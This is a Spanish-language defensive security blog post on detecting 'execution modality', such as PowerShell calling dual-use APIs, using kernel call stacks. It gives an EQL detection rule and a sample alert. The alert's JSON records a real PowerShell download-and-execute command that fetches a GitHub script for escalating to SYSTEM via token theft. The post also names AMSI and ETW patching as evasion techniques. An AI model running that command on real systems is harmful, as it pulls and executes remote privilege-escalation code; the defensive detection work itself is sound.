John Uhlmann

Modalidades de mal comportamiento: detección de herramientas, no de técnicas

Exploramos el concepto de modalidad de ejecución y cómo las detecciones centradas en la modalidad pueden complementar las centradas en el comportamiento.

Modalidades de mal comportamiento: detección de herramientas, no de técnicas

¿Qué es la Modalidad de Ejecución?

Jared Atkinson, estratega jefe de SpecterOps y prolífico escritor sobre estrategia de seguridad, presentó recientemente el concepto muy útil de Modalidad de Ejecución para ayudarnos a razonar sobre las técnicas de malware y cómo detectarlas de manera estable. En resumen, la modalidad de ejecución describe cómo se ejecuta un comportamiento malicioso, en lugar de simplemente definir lo que hace el comportamiento.

Por ejemplo, el comportamiento de interés podría ser la creación de un servicio de Windows, y la modalidad podría ser una utilidad del sistema (como `sc.exe`), un script de PowerShell o un shellcode que emplea llamadas al sistema indirectas para escribir directamente en la configuración del servicio en el Registro de Windows.

Atkinson señaló que si su objetivo es detectar una técnica específica, debe cerciorar de que su colección sea lo más cercana posible a la fuente de verdad del sistema operativo y eliminar cualquier suposición de modalidad.

Estudio de caso: modalidades de creación de servicios

En el escenario típico de creación de servicio dentro del sistema operativo Windows, un instalador llama sc.exe create que realiza una llamada RPC RCreateService a un punto final en el Administrador de control de servicios (SCM, también conocido como services.exe) que luego realiza llamadas al sistema al administrador de configuración del modo kernel para actualizar la base de datos de los servicios instalados en el registro. Esto luego se vacía en el disco y se restaura desde el disco durante el arranque.

Esto significa que la fuente de verdad de un sistema en ejecución es el registro (aunque las subárboles se vacían en el disco y se pueden manipular sin conexión).

En un escenario de búsqueda de amenazas, podríamos detectar fácilmente líneas de comando sc.exe anómalas, pero una herramienta diferente podría realizar llamadas RPC de control de servicio directamente.

Si procesáramos nuestros datos de amenazas de manera estricta, también podríamos detectar llamadas RPC de control de servicio anómalas, pero una herramienta diferente podría realizar llamadas al sistema (in)directamente o usar otro servicio, como el Registro remoto, para actualizar la base de datos del servicio indirectamente.

En otras palabras, algunas de estas modalidades de ejecución eluden la telemetría tradicional, como los registros de eventos de Windows.

Entonces, ¿cómo monitoreamos los cambios en el administrador de configuración? No podemos monitorear de manera robusta las llamadas al sistema de manera directa debido a Kernel Patch Protection, pero Microsoft proporcionó devoluciones de llamadas del administrador de configuración como alternativa. Aquí es donde Elastic ha centrado nuestros esfuerzos de detección de creación de servicios : lo más cerca posible de la fuente de verdad del sistema operativo.

Sin embargo, la contrapartida de esta visibilidad de bajo nivel es una posible reducción del contexto. Por ejemplo, debido a decisiones arquitectónicas de Windows, los proveedores de seguridad no saben qué cliente RPC está aplicar la creación de una clave de registro en la base de datos de servicios. Microsoft solo admite la consulta de detalles de cliente RPC desde un servicio RPC en modo usuario.

A partir de Windows 10 21H1, Microsoft comenzó a incluir detalles del cliente RPC en el registro de eventos de creación de servicio. Este evento, aunque menos estable, a veces proporciona un contexto adicional que podría ayudar a determinar la fuente de un comportamiento anómalo.

Debido a su historial de abuso, algunas modalidades se ampliaron con registros adicionales: un ejemplo importante es PowerShell. Esto permite detectar ciertas técnicas con alta precisión, pero solo cuando se ejecutan dentro de PowerShell. Es importante no confundir la cobertura de detección de una técnica en PowerShell con la cobertura de esa técnica en general. Este matiz es importante al estimar la cobertura de MITRE ATT&CK . Como lo demuestran rutinariamente los equipos rojos, tener una cobertura técnica del 100% (pero solo para PowerShell) es casi un 0% de cobertura en el mundo real.

Summiting the Pyramid (STP) es una metodología de puntaje analítico relacionado de MITRE. Llega a una conclusión similar sobre la fragilidad de las detecciones basadas en bloques de scripts de PowerShell y asigna a dichas reglas un puntaje de robustez bajo.

Las fuentes de telemetría de alto nivel, como el registro de creación de procesos y el registro de PowerShell, son extremadamente frágiles para detectar la mayoría de las técnicas, ya que cubren muy pocas modalidades. En el mejor de los casos, ayudan a detectar los abusos más atroces del sistema de vivir de la tierra (LotL).

Atkinson hizo la siguiente astuta observación en el ejemplo empleado para motivar la discusión:

Un punto importante es que nuestro objetivo de orden superior en la detección se basa en el comportamiento, no en la modalidad. Por lo tanto, deberíamos estar interesados en detectar la enumeración de sesión (centrada en el comportamiento), no la enumeración de sesión en PowerShell (centrada en la modalidad).

Aunque a veces eso es sólo la mitad de la historia. A veces, detectar que la herramienta en sí está fuera de contexto es más eficiente que detectar la técnica. A veces la propia modalidad de ejecución es anómala.

Una alternativa para detectar una técnica conocida es detectar una modalidad que funciona mal.

Las pilas de llamadas divulgan la modalidad

Una de las fortalezas de Elastic es la inclusión de pilas de llamadas en la mayoría de nuestros eventos. Este nivel de detalle sobre la procedencia de las llamadas ayuda en gran medida a determinar si una determinada actividad es maliciosa o benigna. Los resúmenes de la pila de llamadas a menudo son suficientes para revelar la modalidad de ejecución: los tiempos de ejecución de PowerShell, .NET, RPC, WMI, VBA, Lua, Python y Java dejan rastros en la pila de llamadas.

Algunas de nuestras primeras reglas basadas en la pila de llamadas fueron para macros de Office VBA (vbe7.dll) que generaban procesos secundarios o eliminaban archivos, y para memoria ejecutable sin respaldo que cargaba el entorno de ejecución .NET. En ambos ejemplos, la técnica en sí era en gran medida benigna; lo predominantemente anómalo era la modalidad del comportamiento.

¿Podemos entonces cambiar el enfoque de detección típico centrado en el comportamiento por uno centrado en la modalidad? Por ejemplo, ¿podemos detectar únicamente el uso de cualquier llamada API de doble propósito que se origine desde PowerShell?

Al emplear pilas de llamadas, Elastic puede diferenciar entre las llamadas API que se originan en scripts de PowerShell y aquellas que provienen de los entornos de ejecución de PowerShell o .NET.

Al emplear Threat-Intelligence ETW como aproximación para una API de doble propósito, nuestra regla para “Llamada API sospechosa desde un script de PowerShell” fue bastante efectiva.

api where
event.provider == "Microsoft-Windows-Threat-Intelligence" and
process.name in~ ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and

/* PowerShell Script JIT - and incidental .NET assemblies */
process.thread.Ext.call_stack_final_user_module.name == "Unbacked" and
process.thread.Ext.call_stack_final_user_module.protection_provenance in ("clr.dll", "mscorwks.dll", "coreclr.dll") and

/* filesystem enumeration activity */
not process.Ext.api.summary like "IoCreateDevice( \\FileSystem\\*, (null) )" and

/* exclude nop operations */
not (process.Ext.api.name == "VirtualProtect" and process.Ext.api.parameters.protection == "RWX" and process.Ext.api.parameters.protection_old == "RWX") and

/* Citrix GPO Scripts */
not (process.parent.executable : "C:\\Windows\\System32\\gpscript.exe" and
  process.Ext.api.summary in ("VirtualProtect( Unbacked, 0x10, RWX, RW- )", "WriteProcessMemory( Self, Unbacked, 0x10 )", "WriteProcessMemory( Self, Data, 0x10 )")) and

/* cybersecurity tools */
not (process.Ext.api.name == "VirtualAlloc" and process.parent.executable : ("C:\\Program Files (x86)\\CyberCNSAgent\\cybercnsagent.exe", "C:\\Program Files\\Velociraptor\\Velociraptor.exe")) and

/* module listing */
not (process.Ext.api.name in ("EnumProcessModules", "GetModuleInformation", "K32GetModuleBaseNameW", "K32GetModuleFileNameExW") and
  process.parent.executable : ("*\\Lenovo\\*\\BGHelper.exe", "*\\Octopus\\*\\Calamari.exe")) and

/* WPM triggers multiple times at process creation */
not (process.Ext.api.name == "WriteProcessMemory" and
     process.Ext.api.metadata.target_address_name in ("PEB", "PEB32", "ProcessStartupInfo", "Data") and
     _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info like ("?:\\windows\\*\\kernelbase.dll!CreateProcess*", "Unknown")))

Si bien no necesitamos usar el frágil registro AMSI de PowerShell para la detección, aún podemos proporcionar este detalle en el evento como contexto, ya que ayuda con la clasificación. Este enfoque basado en modalidades incluso detecta técnicas comunes de evasión de defensa de PowerShell, como:

  • Desconexión de ntdll
  • Parcheo AMSI
  • parcheo ETW en modo usuario
{
 "event": {
  "provider": "Microsoft-Windows-Threat-Intelligence",
  "created": "2025-01-29T18:27:09.4386902Z",
  "kind": "event",
  "category": "api",
  "type": "change",
  "outcome": "unknown"
 },
 "message": "Endpoint API event - VirtualProtect",
 "process": {
  "parent": {
   "executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
  },
  "name": "powershell.exe",
  "executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
  "code_signature": {
   "trusted": true,
   "subject_name": "Microsoft Windows",
   "exists": true,
   "status": "trusted"
  },
  "command_line": "\"powershell.exe\" & {iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
  "pid": 21908,
  "Ext": {
   "api": {
    "summary": "VirtualProtect( kernel32.dll!FatalExit, 0x21, RWX, R-X )",
    "metadata": {
     "target_address_path": "c:\\windows\\system32\\kernel32.dll",
     "amsi_logs": [
      {
       "entries": [
        "& {iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
        "{iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
        "function Get-WinLogonTokenSystem\n{\nfunction _10001011000101101\n{\n  [CmdletBinding()]\n  Param(\n [Parameter(Position = 0, Mandatory = $true)]\n [ValidateNotNullOrEmpty()]\n [Byte[]]\n ${_00110111011010011},\n ...<truncated>",
        "{[Char] $_}",
        "{\n [CmdletBinding()]\n Param(\n   [Parameter(Position = 0, Mandatory = $true)]\n   [Byte[]]\n   ${_00110111011010011},\n   [Parameter(Position = 1, Mandatory = $true)]\n   [String]\n   ${_10100110010101100},\n ...<truncated>",
        "{ $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBkAGwAbAA=')))) }"
       ],
       "type": "PowerShell"
      }
     ],
     "target_address_name": "kernel32.dll!FatalExit",
     "amsi_filenames": [
      "C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1",
      "C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1"
     ]
    },
    "behaviors": [
     "sensitive_api",
     "hollow_image",
     "unbacked_rwx"
    ],
    "name": "VirtualProtect",
    "parameters": {
     "address": 140727652261072,
     "size": 33,
     "protection_old": "R-X",
     "protection": "RWX"
    }
   },
   "code_signature": [
    {
     "trusted": true,
     "subject_name": "Microsoft Windows",
     "exists": true,
     "status": "trusted"
    }
   ],
   "token": {
    "integrity_level_name": "high"
   }
  },
  "thread": {
   "Ext": {
    "call_stack_summary": "ntdll.dll|kernelbase.dll|Unbacked",
    "call_stack_contains_unbacked": true,
    "call_stack": [
     {
      "symbol_info": "c:\\windows\\system32\\ntdll.dll!NtProtectVirtualMemory+0x14"
     },
     {
      "symbol_info": "c:\\windows\\system32\\kernelbase.dll!VirtualProtect+0x3b"
     },
     {
      "symbol_info": "Unbacked+0x3b5c",
      "protection_provenance": "clr.dll",
      "callsite_trailing_bytes": "41c644240c01833dab99f35f007406ff15b7b6f25f8bf0e85883755f85f60f95c00fb6c00fb6c041c644240c01488b55884989542410488d65c85b5e5f415c41",
      "protection": "RWX",
      "callsite_leading_bytes": "df765f4d63f64c897dc0488d55b8488bcee8ee6da95f4d8bcf488bcf488bd34d8bc64533db4c8b55b84c8955904c8d150c0000004c8955a841c644240c00ffd0"
     }
    ],
    "call_stack_final_user_module": {
     "code_signature": [
      {
       "trusted": true,
       "subject_name": "Microsoft Corporation",
       "exists": true,
       "status": "trusted"
      }
     ],
     "protection_provenance_path": "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll",
     "name": "Unbacked",
     "protection_provenance": "clr.dll",
     "protection": "RWX",
     "hash": {
      "sha256": "707564fc98c58247d088183731c2e5a0f51923c6d9a94646b0f2158eb5704df4"
     }
    }
   },
   "id": 17260
  }
 },
 "user": {
  "id": "S-1-5-21-47396387-2833971351-1621354421-500"
 }
}

Evaluación de robustez

Usando la metodología de puntaje analítico Summiting the Pyramid podemos comparar nuestra regla de detección basada en modalidad de PowerShell con la de PowerShell tradicional.

Solicitud (A)Modo de usuario (U)Modo kernel (K)
Técnica del núcleo a la (sub)técnica (5)[mejores] Detecciones de modalidad de PowerShell basadas en Kernel ETW
Núcleo de la parte de la (sub)técnica (4)
Núcleo de la herramienta preexistente (3)
Núcleo de la herramienta aportada por el adversario (2)Detecciones de contenido de PowerShell basadas en AMSI y ScriptBlock
Efímero (1)[ el peor ]

Puntaje analítico de PowerShell mediante la cumbre de la pirámide

Como se señaló anteriormente, la mayoría de las detecciones de PowerShell reciben un puntaje de robustez 2A bajo empleando la escala STP. Esto está en marcado contraste con nuestra regla de modalidad de mal comportamiento de PowerShell , que recibe el puntaje más alta posible de 5K (cuando Microsoft dispone de telemetría de kernel adecuada).

Una advertencia es que un puntaje analítico de STP aún no incluye ninguna medida de los costos de configuración y mantenimiento de una regla. Esto podría potencialmente aproximar mediante el tamaño de la lista de software de falsos positivos conocida para una regla determinada, aunque la mayoría de los conjuntos de reglas abiertos normalmente no incluyen esta información. Lo hacemos y, en el caso de nuestra norma, los falsos positivos observados hasta la fecha fueron extremadamente manejables.

¿Pero es posible falsificar las pilas de llamadas?

Sí... y un poco no. Todas nuestras pilas de llamadas se recopilan en línea en el kernel, pero la pila de llamadas del modo de usuario en sí reside en la memoria del modo de usuario que el malware puede controlar. Esto significa que, si el malware logró una ejecución arbitraria, entonces puede controlar los marcos de pila que vemos.

Claro, las llamadas API de doble propósito desde la memoria privada son sospechosas, pero a veces intentar ocultar la memoria privada es aún más sospechoso. Esto puede tomar la forma de:

El control de la pila de llamadas por sí solo puede no ser suficiente. Para poder eludir realmente algunas de nuestras detecciones de pila de llamadas, un atacante debe crear una pila de llamadas que se fusione completamente con la actividad normal. En algunos entornos, los equipos de seguridad pueden establecer esta línea de base con gran precisión, lo que hace difícil que los atacantes pasen desapercibidos. Con base en nuestra investigación interna y con la ayuda de los desarrolladores de herramientas del equipo rojo, también estamos mejorando continuamente nuestras detecciones listas para usar.

Por último, en las CPU modernas también hay numerosos mecanismos de seguimiento de ejecución que se pueden emplear para detectar falsificaciones de pila, como Intel LBR, Intel BTS, Intel AET, Intel IPT, x64 CET y x64 Architectural LBR. Elastic ya aprovecha algunas de estas características de hardware, sugerimos a Microsoft que también podrían querer hacerlo en otros escenarios fuera de la protección contra exploits y estamos investigando otras mejoras nosotros mismos. Mantener al tanto.

Conclusión

La modalidad de ejecución es una nueva lente a través de la cual podemos intentar comprender la estrategia del atacante.

Sin embargo, detectar técnicas específicas para modalidades individuales no es un enfoque rentable: simplemente hay demasiadas técnicas y demasiadas modalidades. En lugar de ello, deberíamos centrar nuestras detecciones técnicas lo más cerca posible de la fuente de verdad del sistema operativo, teniendo cuidado de no perder el contexto de actividad necesario o de introducir falsos positivos inmanejables. Es por esto que Elastic considera que Kernel ETW es superior al enganche ntdll en modo usuario: está más cerca de la fuente de verdad, lo que permite detecciones más robustas.

En el caso de los enfoques de detección basados en modalidades, el valor se hace evidente cuando establecemos como base toda la telemetría de bajo nivel esperada para una modalidad determinada y activamos cualquier desviación.

Históricamente, los atacantes pudieron elegir la modalidad según su conveniencia. Es más rentable escribir herramientas en C# o PowerShell que en C o ensamblador. Si podemos controlar la modalidad entonces impusimos un costo.